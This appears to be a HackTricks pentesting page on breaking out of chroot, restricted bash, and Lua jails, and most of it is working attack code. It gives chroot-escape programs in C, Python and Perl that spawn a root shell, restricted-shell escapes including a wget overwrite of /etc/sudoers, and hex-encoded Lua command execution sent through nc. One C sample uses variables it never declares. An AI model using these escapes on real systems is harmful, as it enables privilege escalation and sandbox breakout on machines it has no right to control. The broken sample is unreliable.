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322 lines
11 KiB
Markdown
322 lines
11 KiB
Markdown
# Escaping from Jails
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## **GTFOBins**
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**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property**
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## Chroot Escapes
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From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\
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Usually this means that to escape you need to be root inside the chroot.
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{% hint style="success" %}
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The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`.
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{% endhint %}
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### Root + CWD
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{% hint style="warning" %}
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If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS.
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This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it.
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{% endhint %}
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Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary:
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<details>
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<summary>C: break_chroot.c</summary>
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```c
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#include <sys/stat.h>
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#include <stdlib.h>
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#include <unistd.h>
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//gcc break_chroot.c -o break_chroot
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int main(void)
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{
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mkdir("chroot-dir", 0755);
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chroot("chroot-dir");
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for(int i = 0; i < 1000; i++) {
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chdir("..");
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}
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chroot(".");
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system("/bin/bash");
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}
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```
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</details>
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<details>
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<summary>Python</summary>
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```python
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#!/usr/bin/python
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import os
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os.mkdir("chroot-dir")
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os.chroot("chroot-dir")
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for i in range(1000):
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os.chdir("..")
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os.chroot(".")
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os.system("/bin/bash")
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```
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</details>
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<details>
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<summary>Perl</summary>
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```perl
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#!/usr/bin/perl
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mkdir "chroot-dir";
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chroot "chroot-dir";
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foreach my $i (0..1000) {
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chdir ".."
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}
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chroot ".";
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system("/bin/bash");
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```
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</details>
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### Root + Saved fd
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{% hint style="warning" %}
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This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**.
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{% endhint %}
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<details>
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<summary>C: break_chroot.c</summary>
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```c
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#include <sys/stat.h>
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#include <stdlib.h>
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#include <unistd.h>
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//gcc break_chroot.c -o break_chroot
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int main(void)
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{
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mkdir("tmpdir", 0755);
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dir_fd = open(".", O_RDONLY);
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if(chroot("tmpdir")){
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perror("chroot");
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}
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fchdir(dir_fd);
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close(dir_fd);
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for(x = 0; x < 1000; x++) chdir("..");
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chroot(".");
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}
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```
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</details>
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### Root + Fork + UDS (Unix Domain Sockets)
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{% hint style="warning" %}
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FD can be passed over Unix Domain Sockets, so:
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* Create a child process (fork)
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* Create UDS so parent and child can talk
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* Run chroot in child process in a different folder
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* In parent proc, create a FD of a folder that is outside of new child proc chroot
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* Pass to child procc that FD using the UDS
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* Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail
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{% endhint %}
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### Root + Mount
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{% hint style="warning" %}
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* Mounting root device (/) into a directory inside the chroot
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* Chrooting into that directory
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This is possible in Linux
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{% endhint %}
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### Root + /proc
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{% hint style="warning" %}
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* Mount procfs into a directory inside the chroot (if it isn't yet)
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* Look for a pid that has a different root/cwd entry, like: /proc/1/root
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* Chroot into that entry
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{% endhint %}
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### Root(?) + Fork
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{% hint style="warning" %}
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* Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it
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* From the parent process, move the folder where the child process is in a folder previous to the chroot of the children
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* This children process will find himself outside of the chroot
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{% endhint %}
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### ptrace
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{% hint style="warning" %}
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* Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore
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* Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap\_sys\_ptrace)).
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{% endhint %}
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## Bash Jails
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### Enumeration
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Get info about the jail:
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```bash
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echo $SHELL
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echo $PATH
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env
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export
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pwd
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```
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### Modify PATH
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Check if you can modify the PATH env variable
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```bash
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echo $PATH #See the path of the executables that you can use
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PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
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echo /home/* #List directory
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```
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### Using vim
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```bash
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:set shell=/bin/sh
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:shell
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```
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### Create script
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Check if you can create an executable file with _/bin/bash_ as content
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```bash
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red /bin/bash
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> w wx/path #Write /bin/bash in a writable and executable path
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```
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### Get bash from SSH
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If you are accessing via ssh you can use this trick to execute a bash shell:
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```bash
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ssh -t user@<IP> bash # Get directly an interactive shell
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ssh user@<IP> -t "bash --noprofile -i"
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ssh user@<IP> -t "() { :; }; sh -i "
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```
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### Declare
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```bash
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declare -n PATH; export PATH=/bin;bash -i
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BASH_CMDS[shell]=/bin/bash;shell -i
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```
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### Wget
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You can overwrite for example sudoers file
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```bash
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wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
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```
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### Other tricks
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[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
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[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
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[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
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**It could also be interesting the page:**
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{% content-ref url="../bypass-bash-restrictions/" %}
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[bypass-bash-restrictions](../bypass-bash-restrictions/)
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{% endcontent-ref %}
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## Python Jails
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Tricks about escaping from python jails in the following page:
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{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
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[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
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{% endcontent-ref %}
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## Lua Jails
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In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
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**Eval with command execution:**
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```bash
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load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
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```
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Some tricks to **call functions of a library without using dots**:
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```bash
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print(string.char(0x41, 0x42))
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print(rawget(string, "char")(0x41, 0x42))
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```
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Enumerate functions of a library:
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```bash
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for k,v in pairs(string) do print(k,v) end
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```
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Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:
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```bash
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#In this scenario you could BF the victim that is generating a new lua environment
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#for every interaction with the following line and when you are lucky
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#the char function is going to be executed
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for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
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#This attack from a CTF can be used to try to chain the function execute from "os" library
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#and "char" from string library, and the use both to execute a command
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for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
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```
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**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling:
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```bash
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debug.debug()
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```
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## References
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* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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